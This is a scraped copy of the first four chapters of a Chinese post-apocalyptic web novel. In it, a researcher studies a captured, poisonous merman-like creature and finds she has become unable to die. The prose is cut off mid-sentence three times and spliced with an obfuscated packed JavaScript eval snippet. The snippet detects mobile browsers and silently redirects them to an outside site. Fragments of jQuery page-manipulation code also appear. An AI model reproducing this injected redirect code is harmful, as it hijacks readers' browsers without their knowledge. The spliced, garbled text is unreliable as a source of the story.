《剧毒深海鱼研究手册[末世]》 1. 第 1 章 “海水资源净化第三千九百八十一次实验,结果失败。” 陈结愿平静地宣布又一次的失败。 实验室里的人并不多,只有陈结愿和两名助手,也都对这样的结果司空见惯,一时间没有人再说话。 一阵刺耳的气流声划破寂静,实验室外陡然嘈杂起来。 “怎么办?!这玩意儿醒了,我们根本控制不了啊!” 另一道声音吃力地回应:“多在他身上套些网,尽量限制他活动……谁来管管这死东西的尾巴!” 陈结愿眉头微皱,放下手里的实验记录向门外看去。 无机质的蓝光笼罩了整个研究所,她向光源处看去,瞳孔骤缩,寒意从脚尖一直蔓延到头顶,全身的汗毛都竖立起来,周遭的一切声音都变为耳鸣声缠绕住她。 眼前的生物上半身几乎是人形,下半身却是鱼尾,周身散发出淡淡的蓝光,眼神中似乎带着一丝慈悲,带有金属光泽的巨大水蓝色鱼尾却一下又一下、无规则地胡乱甩着。 本就穿着厚重防护服行动不便的工作人员被鱼尾轻易地扫开,七零八落地飞出去,撞在墙壁上发出吃痛的闷哼声。 哪怕大片的网兜减缓了它的行动速度,可它依然强健有力,工作人员难以对抗。 陈结愿的大脑一片空白,在大脑做出判断之前手已经摸上了身上用来防身的配枪,对准那正在发狂的怪物。 她的额头渗出细密的冷汗,顺着脸颊流下来,手止不住地颤抖。 那怪物似乎注意到了这里,扭头转向陈结愿所在的位置。 陈结愿呼吸一滞,条件反射地赶在对视之前扣下了扳机。 子弹没入那怪物的胸口,鲜红的液体一下子爆开,一些人躲闪不及,被血液溅上的防护服很快就被腐蚀出密密麻麻的缺口。 那怪物不可置信地望向陈结愿,踉跄了两下,而后重重倒在地上。 听见重物倒地的顿音,陈结愿才终于回过神来,后退一步。 她违规了,研究所内不能开枪。 但已经发射的子弹不可能再收回来,陈结愿收起枪,走近,居高临下地俯视着那一片殷红。 周围响起小声的讨论,“死、死了吗?” 另一位助手有些后怕地抖了抖,“陈姐这一枪也太快了……” “毕竟陈姐的父母……” 陈结愿向后瞥了一眼,那人立马止住了声音,拉着同伴走开了。 她的父母……死于无人知晓之处、尸骨无存的父母,据说就是被这种可怕的怪物所残忍杀害的。 死了最好,就当是给未曾见过的父母报仇了,她想。 陈结愿努力平复好自己的呼吸,打算不再关注这满地的狼藉,转身就想回到实验室里。 身后传来急促的脚步声,陈结愿一愣,加快了步子,但还是没来得及逃脱。 “你干什么啊?!” 会议室内,梁所长顶着看起来能防弹的啤酒肚着急地来回踱步,怒气冲冲地看着陈结愿,就连胡子都要立起来了。 陈结愿闭口不言。 “这可是我们第一次捕获到活体鲽,你要是一枪给他弄死了那我们这么长时间都白干了!” “平时挺稳重一小姑娘,怎么这次那么莽撞呢。”语罢,梁所长重重叹了一口气。 陈结愿实在是听得不耐烦了,又不好表现出来,只得默默承受着铺天盖地的数落。 她并不后悔自己开的那一枪,后悔的是没有多补几枪,反正打都打了。 梁所长见她这般反应,拿她没办法,挥手示意门外的人进来。 那人进门之后看都没看陈结愿一眼,径直走向梁所长。 陈结愿心里冷笑一声,要不是自己这人早就被撞成肉泥了。 那人跟梁所长说了几句,梁所长微微点头,两道晦暗不明的目光聚集到陈结愿身上。 一种不好的预感油然而生。 果然,下一秒梁所长便开口,“你应该庆幸,那东西还活着。” 陈结愿的嘴角微不可查地向下撇了一下。 梁所长却不再说话了,似乎特意在等陈结愿的回应,陈结愿明白今天她如果不服个软是不可能走出这间会议室了。 她两眼一弯,强行勾起嘴角,“幸亏没给研究所造成大的损失,我会尽我所能的补偿。” 梁所长对她的态度十分满意,笑意在脸上荡开,就连让人恶心的褶皱都抚平了不少,“你也别高兴太早,伤是你造成的,自然也该由你来照顾,我要你保证它活着。” 陈结愿的笑容僵在脸上。 “还有提取它的血液,尽快分析出成分,好好想办法将功补过。” 梁所长根本没给她拒绝的选择。 走出令人窒息的狭窄空间,陈结愿的脚尖每一次接触到地面都会带起清脆的“咔哒”声。 这里的土地就像是老人龟裂的掌心,大大小小的裂痕胡乱地铺在地表,目光所及之处皆是一片荒芜的黄土,就连一根草都很难找到。空中没有飞鸟,地上没有除人类以外的生灵,显而易见——这个世界快要完蛋了。 大约四十年前,A国某家工厂发生了小规模的核泄漏,起初人们不以为意,直到他们发现,海似乎变得越来越清澈了。与之相对的,陆地上的植物开始枯萎,饮用了海水的生物不出半年全部死亡,黏腻的鱼腥味由海向外扩散,海底的生物经过多次变异,最终进化成了人类如今的天敌,鲽族。 短短几十年这个世界就已经产生了翻天覆地的变化,大部分的电力系统都已经损坏,城市无法运作,经济全面崩溃,缺少水和食物来源,全球人类数量骤减到不到五亿人,人类的至暗时代拉开了帷幕。 手指关节处突然传来一阵剧痛,强行把陈结愿从思绪中拉了出来,她抬起手,一滴粘稠的血液红得格外醒目。 和她同行的人大呼一声,猛地抓住她的手,“碰上血了怎么不说话?!天呐,”那人艰难地从一层接一层的防护服里掏出一小瓶清水,滴了几滴把血液冲下去,又拿出创可贴给她贴上,“幸亏似乎是刚弄上的,不然你整个手都要废了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181259|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈结愿愣了一下,“谢谢。” 很奇怪,如果陈结愿是在开枪后沾上的鲽血,那么这滴血在她的手上已经至少停留了二十分钟。 鲽族的血液腐蚀性极强,普通人沾多了甚至会当场丧命,可她为什么直到现在才感受到痛,血液停留的地方也只是留下了一个小坑。 陈结愿眼神黯淡下来,被骂了一顿已经够让她心烦,现在还被那东西伤到了。 她直觉这件事不能跟任何人说,可能她只是在实验室里泡多了导致自己也快变异了,要是说出口,说不定下一个被关在水箱里的怪物就是自己。 好不容易将这个大怪物移到实验室,陈结愿看着两个目瞪口呆的助理,一时不知道该怎么解释。 她调整了一下,把情绪都吞了回去,用没有任何起伏的语调说道,“准备好机器,我们要对它进行采血分析。” 助理们还根本搞不清楚状况,但陈结愿开枪的场景还历历在目,她们也不敢多问。 水箱中的怪物仍在沉睡,一动不动地浮在里面,伤痕图腾一样地分布在全身,看上去竟然还显得有些无害可怜。 陈结愿看了两眼就迅速移开了视线,不愿意再被它影响情绪。 她穿好防护服,拿起实验记录,“项目名,鲽族血液分析,第一次提取,写上日期。” 一位助理出声打断:“具体怎么提取血液呢?” 陈结愿示意助理将注射器递给自己,“我来,趁它还没醒速战速决。” 助理没动,“用外面的血不行吗,这也太危险了。” “不行,细胞离体太久会死亡。” 陈结愿自己伸手把注射器拿来,走向水箱。 “越美丽越危险”简直是对这怪物最好的概括,水蓝色的发丝在水中散开,水彩似的从头顶到发尾逐渐变淡,发尾几乎接近透明,像是一朵水晶制成的花,肌肤平滑看不到瑕疵,脸上凸出的几片蓝鳞不但没有破坏整体的美感反而增添了一丝神圣感。双臂下方长着两条翅膀一样展开的巨大鱼鳍,鱼尾强健有力,说是艺术品也不为过。 可它越是有着这样蛊惑人心的外表,陈结愿就越是不愿意去看。 多可笑,在灾难之中诞生的给世界降下灾祸的生物居然有着被上天深爱着的外表。 陈结愿顺着梯子爬上水箱的顶部,手上的伤口还在隐隐作痛,她犹豫了一会,最后还是决定继续下去。 她把手往水中伸去,因为水里融入了鲽伤口渗出的血液,防护服刚一进去就发出“滋啦滋啦”的响声,如同催命符一般催促着她快点行动。 陈结愿的脸色有些发白,感觉肢体再度软了下来,吞咽了一下口水,熟悉的寒意又有归来的趋势。 陈结愿用尽全身力气也够不到水中怪物的肩膀,而手套已经快要被腐蚀掉,只得先把手取出来更换手套。 她边调整手套边回到水箱旁,准备去找找有没有给大象用的大型注射器,却在抬头的时候猛地呼吸一滞。 一双散发着诡异的光的宝蓝色瞳孔直直地与她对视。 2. 第 2 章 陈结愿整个人僵在原地,握紧注射器,等待怪物的下一步行动。 怪物似乎没有要攻击的意思,就只是目不斜视地盯着她。 陈结愿试探性地向左几步,怪物的视线就像黏在她身上一样,随着她的身形移动。 得想个办法让它没有制造伤害的可能……有了。 她缓步走向和梯子相反的方向,一边走一边示意助手爬上梯子。 终于,怪物彻底背对梯子,陈结愿站定在它的面前,屏气凝神。 怪物缓缓伸出手,手掌接触到玻璃,它歪了歪头,收回手又重复一次那个动作。 见助手已经爬上水箱,陈结愿目光一凛,“把麻醉剂倒进去!快!” 大片的药剂几秒钟就把整个水箱晕上了乳白色。 药剂进入怪物的体内,它四肢很快变得无力,身体有上浮的趋势。 陈结愿吐出一口浊气,紧绷的身体松弛下来。 她把助手赶下来,自己爬了上去,“你刚才用了多少麻醉?” “我倒了大半瓶,够它迷糊一段时间的。” 陈结愿微微点头,“接下来你们都躲远点。” 无法确定怪物是否真的失去攻击能力,陈结愿必须把其他人受到伤害的可能性降到最小。 她轻敲玻璃,怪物没有任何动静。 陈结愿不再迟疑,向水箱内探去,在抓住怪物胳膊时猛地向上一拉,将针头刺入怪物的体内。 然而她还没来得及高兴,脚下的梯子就隐隐抖动起来。 不,不是梯子,是整个水箱! 怪物还没晕过去! 陈结愿加快动作,怪物挣扎的动作愈发猛烈,水箱抖动的频率也随之加大,仿佛下一秒就会爆裂。 即使有了麻醉的效果,怪物的力气也绝不算小,陈结愿全身压在它的胳膊上,拼尽全力不让自己被甩飞,尽可能多抽一些血。 防护服也差不多快到极限了,只剩下薄博的一层,陈结愿眼疾手快地拔出了怪物体内的针头。 怪物发出一声哀嚎,猛地抽回手向下游去了。 她爬下梯子,脚步有些虚浮。 助手赶紧跑过去关心道,“陈姐,你没事吧?” 陈结愿点头,平复好自己的呼吸,将针管递给助手,“拿去吧,我稍微休息一下。” 再回头看水箱,内部平静无波,刚才的暴动就像是她的幻觉。 怪物的触感后知后觉地找上门来,冰冷、滑腻,从手掌席卷到陈结愿的全身,激起一层鸡皮疙瘩。 她赶紧脱下防护服和手套,胃里一阵翻江倒海,泛起呕吐的冲动,脑海里各种声音杂糅在一起。 “小愿,你要永远记住你父母是怎么离开的,千万不能靠近它们。” “陈姐,人类真的还有未来吗?真的有办法能战胜这怪物吗?” “我,我不会就要死了吧……?我的胳膊烂掉了!” 陈结愿拿起水杯,一连整杯水入肚,恶心感才堪堪被压下。 谢天谢地,等分析完血液成分,找出解药之后她应该就不会与怪物有过多接触了。 然而现实总是事与愿违。 “毒素清除实验,第四十八次,尝试往血液里加入强碱溶液中和腐蚀效果,实验结果……” 陈结愿话音刚落,装满液体的容器就被完全腐蚀,把桌子弄出了一个大洞。 而在这之前,桌子上的洞已经足够多了。 桌板终于不堪重负,“咔嚓”一声从中间整个裂开。 助理面如死灰,“实验结果失败,大失败。” 实验室内一时落针可闻。 陈结愿将血液成分从头仔细研究到尾,没有一款现有的药剂能对其起作用,也就是说,此毒无解。 “要不还是算了吧……总能有其他办法的……”助手小心翼翼地开口。 另一个助手也跟着点头。 陈结愿没正面回应,大脑仍然乱作一团,只得挥挥手,“不早了,今天就先休息吧,有事明天再说。” 微风不疾不徐地吹过,夹带着一丝湿漉漉的咸味,形成一个天然的襁褓把陈结愿包裹住。 她感到一阵颠簸,睁开眼,自己被人抱在怀里,而那人的身影蒙上了一层薄雾,怎么也看不真切。 她听见自己的口中发出婴儿的啼音。 “别哭,别哭……” 轻柔的女声顺着风传到她的耳边,只留下海水拂过的触感,啼音竟然真的止住了。 那人轻轻晃动手臂,模仿起摇篮,可明显经验不足,晃得没有什么规律。 但好在还是有用的,陈结愿的眼皮又开始变得沉重。 “睡吧,睡吧,我亲爱的宝贝……” 歌声戛然而止,“哎,后面是什么来着?真是鱼脑子,什么都记不住。” 刹那间,陈结愿的后背传来火烧般的痛感,代替摇篮曲响起的是婴儿撕心裂肺的哭声。 那人身形一抖,一下子松开了手。 陈结愿落在水面上,浪花一下又一下地拍打她的身体,将她推得离那个身影越来越远。 痛感并没有因离开那人而消失,反而愈演愈烈,到最后她就连嗓子都哭哑了。 陈结愿的心脏被大手攥住,闷痛感来得比潮水还要汹涌,她不受控制地想要挽留,却只伸出了一个小小的、稚嫩的手。 “别哭,别哭……” 还是这句话,可温暖的怀抱却不见了。 一道白光闪过,她不由得闭了眼,再次睁开眼看到的却是熟悉的天花板。 陈结愿伸出自己的胳膊,修长纤细,完全就是成年人才会有的体型。 怎么会做那么乱七八糟的梦…… 陈结愿昨晚把助手都赶回房间,本来想自己再翻看一些书本找找有没有遗漏的药剂,却不知不觉间睡着了。 外面天色才刚蒙蒙亮,还没有人来实验室,她站起身,感觉精力恢复了不少,打算先收拾一下这里,再去研究一遍怪物的血液成分。 “叩叩——” 陈结愿皱眉,哪里来的声音。 还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181260|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没等她反应过来,又是两声敲击声飘近。 陈结愿顺着声源处走去,在水箱的正前方止步。 一阵恶寒涌上心头。 这怪物早就醒了?它看了自己多久?它想干什么? 这才过了几个小时麻醉剂就失效了,看来这怪物地新陈代谢快到令人发指的地步,下次麻醉的剂量必须再翻个倍。 注意到陈结愿微微的颤抖,怪物眼神有些松动,居然向后退了一点距离。 陈结愿眉头皱得更深。 怪物继续后退,直到后背撞上玻璃,发出沉闷的撞击音才停下。 陈结愿愕然地看着怪物堪称傻气的举动,额头突突直跳,如果是书上描写的那种毛茸茸的小动物这样,她或许会觉得很可爱。 可问题是,在她面前的是随时都可能要了她性命的人类天敌。 她回过神来,心中警铃大作,情急之下拔出配枪对准怪物。 怪物的眼睛骤然睁大,嘴巴张张合合,好半天才发出声音,“伤、痛,不要……” 啪嗒,陈结愿手中的枪掉落。 她不可置信地呆愣在原地,怪物还在笨拙地比划,“同……同伴!” “不痛,都不痛……好。” 陈结愿面无表情,深吸一口气,自己一定是太累才出现幻觉。 恰好助理此时推门进来了,陈结愿哑声命令道,“你去把麻醉拿给我,别拿昨天用剩的。” 怪物比划的幅度更大了,在水箱里急得乱游,甚至睫毛轻颤,摆出一副求情的表情望着陈结愿。 陈结愿嘴角抽搐,面色逐渐凝重。 拿麻醉过来的助理反应更大,看看陈结愿又看看怪物,大惊失色,“陈姐你你你你你你你居然驯服了怪物!” 原来不是幻觉。 “瞎说什么,去,倒麻醉,一整罐。” 助手颤颤巍巍地把麻醉递过去,“我,我觉得这工作你来更安全……” 陈结愿眯起眼睛接过麻醉,举到怪物面前,恐惧因为它的窘相少了大半,“你再说一句话。” 助手:“啊?” 陈结愿无语,“不是说你。” 怪物撇嘴,头扭向一边,嘴巴闭得严丝合缝。 眼见怪物没有再开口的打算,陈结愿干脆了当地爬上梯子,怪物还撅着嘴就被麻醉剂盖了满脸,整条鱼都肉眼可见地耷拉了。 陈结愿拿上实验报告和血液分析,脚下生风,推开门没多久就消失得无影无踪。 陈结愿径直走到梁所长面前,“血液分析出来了,麻烦您召开工作报告会议。” 梁所长依旧慢慢悠悠,“小愿态度不错啊,工作效率挺快。” 陈结愿难得没在意他的调侃,表情依然僵硬,“梁所长,鲽族会说人话吗?” 梁所长用一种看傻子的眼神看她,一切尽在不言中。 陈结愿喉咙上下滚动,语气更加坚定,“请召开工作报告会议。” 快点报告完,趁陈结愿被折磨出精神疾病之前把这怪物从她身边弄走。 3. 第 3 章 陈结愿从没想过某天自己的工作热情居然会如此高涨。 同事们全都傻了眼,平常在会议上总是沉默寡言的陈结愿这次居然拿着一份报告分析了快一个小时了。 陈结愿关闭投影仪,“鲽族的血液成分并没有单独的有毒物质,但结合在一起产生微妙的化学反应,造就了鲽族体内的毒素。” 她观察着众人的表情。 他们明显还没意识到事情的严重性,一个个神情呆若木鸡。 陈结愿手指关节轻叩桌面,犹豫片刻,还是直接说道,“综上所述,我们找不到任何现有的药剂或化学试剂去对抗这种毒。” 会议室里顿时一片哗然。 梁所长眉心紧锁,难得露出满面愁容,“小愿,你有什么想法?” 陈结愿睫毛微颤,抿住干涩的双唇。 怪物无助求饶的画面莫名在她的脑海里重映。 可怪物们哪里有一次没有伤害求饶的人类。 “我们不知道鲽族的具体数量,也许海底藏着一个它们的王国,也许只有零星的几只。” 怪物们何时对危在旦夕的人类产生过一丝怜悯! 陈结愿语调逐渐高昂,“在这种情况下,我们每处理掉一只鲽,人类就少一分隐患!” 她意识到自己太过激动,顿了一下,攥紧拳头,“所以我认为应该尽早处理掉它。” 她再次看向梁所长,对方的表情比刚才柔和了许多。 然而,梁所长说出的话与她的期望背道而驰。 “说得不错。但你也看到了,我们只靠冷兵器,对付一只鲽都很费力。” “我们可以杀掉它,但剩下的鲽呢?没有针对性的攻击只会让我们白费兵力,当务之急还是要研究出足以对抗鲽的武器。” 陈结愿心跳加快,有转身离开的冲动。 但很可惜,她不能。 梁所长清了清嗓,语气不容拒绝:“研究员陈结愿,我以所长的名义给你以及你的团队下达任务:研究鲽族的生理构造、种族弱点,研制出对抗鲽族毒素的试剂,拯救人类。” 一只温热而粗糙的手拍上陈结愿的肩膀。 “研究员陈结愿,你的回应呢?” 她的心倏然沉下来。 没错,这才是最优解。 末世之下教育行业无法推动,拥有专业知识的人才少之又少,研究所里没有比陈结愿更加合适的人选。 陈结愿自知她无法拒绝。 “我接受。” 会议结束后,陈结愿被梁所长带去他的办公室,往她手里塞了个老旧的笔记本。 陈结愿刚一翻开,内页积攒的灰尘全部飘散开来,激得陈结愿一连打了好几个喷嚏。 陈结愿摆脱怪物失败,本来情绪就有些低沉,又被呛了几下,冷着脸把笔记本放下。 梁所长憨笑两声,“这是你父亲的笔记。” 陈结愿再次拿起笔记本,轻柔地擦去浮灰。 她翻了几页,本内字迹工整,密密麻麻全都是个人总结的药理学知识。 看得出来笔记本主人一定是一位细心又谨慎的人 陈结愿的目光停留在一页缺失的笔记上。 【传说中的随心所欲之毒——坎特雷拉。】 这一页剩下的内容都被撕掉了。 她一直翻到了最后一页,那不像是笔记,更像是一篇日记。 【我认为不会有比这更美的生物了,我该怎么去形容这带给我的悸动?】 【危险而又迷人的华丽,如果将它比作某种剧毒,大概只有坎特雷拉可以与之相配了吧。】 【太美妙了,我愿意将我的一生都奉献给它。】 陈结愿看得一头雾水,“梁所长,这写的是什么?” 梁所长视线扫过几行,忽然顿住。 陈结愿:“梁所长?” 梁所长回过神来,“啊,哦,这个啊,这是你爸额,抓了个水母,被它蛰了一下之后有感而发。” 陈结愿心中完美的教授形象就这么崩塌了,她无语片刻,后悔自己为什么非得要多问这一嘴。 陈结愿怕它散开,缓缓合上本子,跟梁所长道谢后就回了研究室。 助理没有参加会议的资格,根本不知道发生了什么,陈结愿就把任务叙述给他们听。 她眼睁睁看着助理们顶上苦瓜脸,自己也有些哭笑不得。 哪怕陈结愿还是很想直接解决掉怪物,事到如今也只能尽自己的最大努力,争取早日破解它身上的谜题了。 怪物仍旧处于昏迷状态,陈结愿叫来几个力气大的同事将它搬出水箱,用铁链固定在解剖台上。 她操起手术刀,一刀划在怪物的尾巴上,陈结愿脱口而出,“第一次怪物伤害承受能力实验,实验日期,怪物代号……坎特雷拉。” 陈结愿划的很深,几乎能看见坎特雷拉的白骨。 令她震惊的是,大约三秒过后它伤口处开始形成大量的组织,一层一层将白骨盖住,最后一整块皮肉恢复得完好如初。 这不是一个好的信号,陈结愿记得自己给它的枪伤是过了六七个小时才长好的,然而这次的伤口却只花费了几秒钟。 助手担心地询问,“听说鲽族都很记仇的,睚眦必报,我们这样对它不会被报复吧……” 陈结愿的思绪被打断。 记仇? 对,她也记得鲽是极为记仇的生物,书上在描写鲽族时特意提到了这一点。 鲽族的寿命很长,记忆力却很好,它们一生都不会忘记伤害过自己的人,会想尽一切办法报复回去。那些人最后大多都死相惨烈,死法也是千奇百怪,明眼人一看就知道那是报复性虐杀的结果。 可陈结愿明明在第一次见到坎特雷拉的时候就给了它一枪,但到现在它也没有表现出任何想要报复或者攻击自己的迹象,甚至还向她求饶。 这种种表现都过于奇怪,坎特雷拉身上有太多谜题需要解决,陈结愿没回应助手,继续在它的腹部割下第二刀。 第三刀,割在胸腔。 第四刀,割在咽喉。 这些伤口无一例外,几秒间就长好了,陈结愿额角渗出冷汗。 再向上就是割它的脸了,陈结愿视线转向那里,坎特雷拉的眼睛不知道什么时候睁开了,又在盯着她。 陈结愿身形一颤,差点条件反射把刀捅进它眼眶里。 好在她也差不多都要习惯了,缓个几秒就轻车熟路地让助理去拿麻醉剂。 助理走后,陈结愿看着坎特雷拉挣扎片刻,没挣开。 她扬起一抹笑,“死心吧,我让他们用的最结实的。” 坎特雷拉不动了,“不要麻醉。” “你不乱动就用不上。”她麻木了,反正之后免不了和坎特雷拉长时间相处,与其每次都一惊一乍不如早点逼自己接受。 坎特雷拉嘴角撇到了太平洋。 陈结愿不理会它,思考在脸的哪部分动刀比较好。 “坎特雷拉是我的名字吗?” “你就当是吧。” 陈结愿刚说完这句话就一愣,它怎么说话都变利索了? 不能细想,越想越觉得未来一片黑暗。 书中记载,鲽族上半身多为美艳的人形,下半身形似飞鱼,大多时间都生活在深海区域,离水也能短时间在陆地生存。 得益于它们特殊的鱼鳍位置,鲽族甚至可以短暂地跃出水面,在空中滑行一段距离,可以说是没有鲽族无法踏足的地方。 陈结愿其实一直想不明白研究所鸡肋的战力是怎么抓到海陆空三修的怪物的。 不过照现在看来,大约是坎特雷拉因为某种原因实力大降,又很不巧地被研究所发现。 而现在,它的能力在恢复。 陈结愿必须加快进度,赶在坎特雷拉完全恢复之前研究出对付它的方法,否则研究所里的所有人都会陷入危险之中。 可这又谈何容易。 坎特雷拉可能是憋太久了,话怎么也说不完,一个劲的打断陈结愿的思考。 陈结愿忍无可忍,“你报复我的方式就是烦我?” 坎特雷拉却摇头,眼中泛起诡异的光晕。 “同伴……不,始祖的气息。报复敌人,效忠……” 什么乱七八糟的,陈结愿心一横,打算在它嘴上开一刀。 恰巧这时助理回来,陈结愿看见坎特雷拉猛地闭上了嘴,眼神也回归正常。 她眸光微暗,锋利的刀刃顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181261|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着怪物的嘴角划去。 对坎特雷拉的研究持续大半个月,基本上毫无进展。 陈结愿眼下出现了明显的黑眼圈,整个人由内而外散发疲惫的气息。 夜色已深,助理见陈结愿今天大概又会睡在实验室,给她留下一杯水,“陈姐你也别太为难自己了……” 陈结愿条件反射地点头,回过神来的时候实验室里已经没有其他人了。 鲽确实是一种很狡猾的生物,坎特雷拉身上的每一处她几乎都实验过,不论多么严重的伤都会在半小时之内长好。 她揉揉酸胀的眼睛,打算从水箱上下来。 倏然间,陈结愿两眼一黑,整个人直直向水中倒去。 没入水箱的瞬间,陈结愿周身的防护服发出“滋啦滋啦”的声音,马上就要被腐蚀殆尽。 她意识昏沉,根本没有力气挣扎,只能任由痛感慢慢铺满她的全身。 然而,一只强而有力的大手猛然间抓住她,将她拉入怀中。 皮肤相触的刹那,陈结愿感受到的痛感骤然加剧! “张嘴……” 她听见有人对她说话,下意识照做。 下一秒,冰凉的触感侵入陈结愿口中,血腥味蔓延开来。 她感到体内的血管迅速膨胀,身体深处好像有一把火在烧,烧得她五脏六腑融化、重组、搅在一起。 陈结愿睁开眼,瞳孔瞬间缩小。 坎特雷拉水蓝色的发丝扫过她的侧脸,那张美丽至极的脸如今近在咫尺,陈结愿甚至能闻到它身上淡淡的药剂味道。 她用尽全身的力气,一把推开怪物,坎特雷拉的手指从她口中滑落,拉出一条长长的血丝。 连接着她和怪物。 陈结愿不可置信地瞪着它。 坎特雷拉垂下眼眸,“我很抱歉……但你现在还疼吗?” 陈结愿愣住。 她怎么还活着? 视线迅速扫过自己的胳膊,没有一处伤口,痛感也消失殆尽,最主要的是——她可以呼吸。 陈结愿猛地看向自己的下身,还是人类的样子。 嗡鸣声充斥着她的大脑,她几乎是连滚带爬地出了水箱,一下子滚落到地面上。 分不清是水是汗的液体顺着脸颊流下,她跑到解剖台,颤颤巍巍地拿起一把手术刀,闭眼冲自己的胳膊划下去。 她咬牙,尖锐的疼痛刺入神经,可没过几秒就消失了。 陈结愿心跳漏了一拍,睁开眼,本该有伤口的地方完好无损。 她身体剧烈颤抖,不由自主蜷缩起来,双手抱住自己的胳膊,大口大口地喘息着。 精心梳理过的发丝尽数黏在她的脸上,大脑一片空白,只觉得体内的每一根骨头都变成了钢筋,重得她无法站起来。 昨日梦中的身影再次浮现在她眼前。 她想起来了,那个人也有着……水蓝色的发丝。 身后传来潮湿的气味,陈结愿整个人像是被钉子钉在原地,动弹不得。 毫无血色的肢体绕过她的脖颈,把她圈在怀中,冰凉的气息打在陈结愿的脸侧。 “不要疼痛。” 陈结愿身体比大脑先一步行动,背过手去摸身上的配枪,却被轻柔地攥住。 她僵硬地扭过头,喉咙被什么东西死死扼住,忘记了呼吸的方法。 枪被坎特雷拉拿在手里,它问,“你想要我受伤吗?” 陈结愿咬牙切齿,声音抖得不成样子,“我想要你去死!” 坎特雷拉放开她,移动到她的正前方。 枪又被塞回到陈结愿的手中,坎特雷拉带着她的手,将枪对准自己的眉心。 陈结愿几乎是没有任何犹豫地就扣下了扳机。 “砰——”子弹没过怪物的脑袋,打出一个血淋淋的缺口,殷红飞溅到它身后的墙面上,宛如一朵绽放的蔷薇。 圆形的缺口在陈结愿眼中诞生,被层层覆盖,最后长好。 思维像是断了线的风筝,陈结愿无意识地将枪口指向自己。 坎特雷拉皱眉,按下她的手。 “你不用这样,这会很疼很疼……伤口太深,恢复的时候比其他部位疼很多。” “但你是不会死的。” 4. 第 4 章 不会死? 不会死? 为什么?什么叫不会死?它对我做了什么?我还是人类吗? “啪嗒,啪嗒。” 时间在此刻被无限延伸,就连水滴落下在陈结愿的眼中都格外漫长。 她抚上坎特雷拉的手,一根一根、细致地扒开。 最后,又把枪口对准自己。 面前的怪物大惊失色,手无措地举起又放下。 看清他眼中的担忧,陈结愿冷笑,“你在担心我?为什么?” 还得多亏坎特雷拉刚才那一枪,她终于在混乱中理清一点思路。 这怪物从一开始就没有把陈结愿当成敌人,而是……需要可怜的同类。 那么坎特雷拉之前说的一切胡话和面对自己的反常举动就都能解释得通了。 她早就该意识到这一点,明明坎特雷拉有那么多的机会可以报复自己却没有行动绝不可能是出于恐惧,是打从心底里就没有把她摆在值得费力去解决的位置上。 虽然还没搞清自己为什么会有鲽族的特征,但陈结愿宁可去死,也不想被迫加入怪物的阵营。 然而,她还没来得及扣下扳机,另一声枪响就响彻在屋内! 子弹擦着坎特雷拉的脸划过,留下一道红印。 陈结愿表情凝滞,下意识看向门外。 助理一脸慌张,死死握着枪,“陈、陈姐……快点跑……” 蓝色残影从面前略过,眼见就要朝着助理的方向奔去。 陈结愿咬牙,到底是谁更需要跑! 没有时间思考,陈结愿抓紧跑到助理面前,一把将他护在身后。 陈结愿对着坎特雷拉的鱼尾连开两枪,趁它失去支撑的间隙带着助理退身,猛地关上了门。 好在实验室的安全系数还是相当不错的,想必坎特雷拉一时半会也没有办法冲出来。 实验室内动静震天撼地,不用想都知道里面是怎样的乱象。 陈结愿压下心悸,打算呼叫援助,把剩下的都交给战备部门来解决。 她尝试掏出对讲机却没成功,皱眉看向自己的胳膊,助理仍旧惊魂未定,手扒在她的胳膊上死活不松。 陈结愿心下一惊,却发现助理好像……没事? 助理并没有像她想象的那样溃烂,相反,一切都十分正常,助理受的最大的伤大概是精神创伤。 陈结愿呼吸稍微平复了些,“别担心,没事了,你先把手松开。” 实验室内传来重物砸地的巨响。 助理抱得更紧了。 无计可施,陈结愿只得按下了墙上的警报装置。 战备部门来得很快,通过通风口向内攻击,坎特雷拉无法反击,没一会儿就被制服了。 为了防止助理受伤,陈结愿还是慢慢安抚着让他松开了手,助理身体抖成糠筛。 她的慌张都被助理的窘相浇灭不少。 “它它它它怎么出来了,陈姐你真的没事吗,你衣服怎么那么湿啊!防护服都破成这样了,天啊……” “小愿!!你没受伤吧,那怪物没把你怎么样吧?!” 陈结愿皱眉看去,梁所长气喘吁吁跑来,肚子上的肉一颤一颤。 正好,她有很多问题想问。 她让助理先行回去,走廊里只剩下她和梁所长。 梁所长还满脸慌乱,"真没受伤?" 陈结愿打断他的关切,若有所思,“梁所长,你能再说一遍我是怎么到这个研究所里来的吗?” 梁所长嘴角微不可查地抽搐,被陈结愿看在眼里。 “这有什么的……就是你父母被鲽族害死后,我们每天都会去岸边为他们哀悼,然后某天在岸边捡到了你……” 